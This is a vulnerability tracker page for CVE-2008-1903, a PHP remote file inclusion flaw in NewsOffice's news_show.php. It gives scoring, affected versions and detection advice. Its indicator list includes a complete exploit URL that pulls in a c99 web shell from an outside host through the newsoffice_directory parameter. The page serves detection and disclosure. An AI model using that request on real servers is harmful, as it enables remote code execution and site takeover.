CVE-2008-1903

published 2008-04-22

CVE-2008-1903: PHP remote file inclusion vulnerability in news_show.php in Newanz NewsOffice 1.0 and 1.1, when register_globals is enabled, allows remote attackers to execute…

Priority P3 51 high 7.5 CVSS 2.0

AV N AC L Au N C P I P A P

EXPLOIT

PHP remote file inclusion vulnerability in news_show.php in Newanz NewsOffice 1.0 and 1.1, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the newsoffice_directory parameter.

Affected

2 ranges

Vendor	Product	Version range	Fixed in
newanz	newsoffice	—	—
newanz	newsoffice	—	—

Detection & IOCs extracted from sources · hover to see the quote

url http://WwW.4RxH.CoM/NewsOffice/news_show.php?newsoffice_directory=http://rxh.freehostia.com/shells/c99in.txt?↗

url http://rxh.freehostia.com/shells/c99in.txt↗

path news_show.php↗

filename c99in.txt↗

• → Detect HTTP requests to news_show.php containing a URL-valued newsoffice_directory parameter, indicating remote file inclusion attempt. ↗
• → Monitor for inclusion of remote .txt files (e.g. c99in.txt) via PHP include() calls, a common technique to bypass extension-based filters. ↗
• → The exploit appends a trailing '?' to the injected URL to nullify the appended filename suffix (e.g. config.php), making the remote URL valid. Look for newsoffice_directory values ending with '?'. ↗

• · Vulnerability is only exploitable when register_globals is enabled in PHP configuration. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-94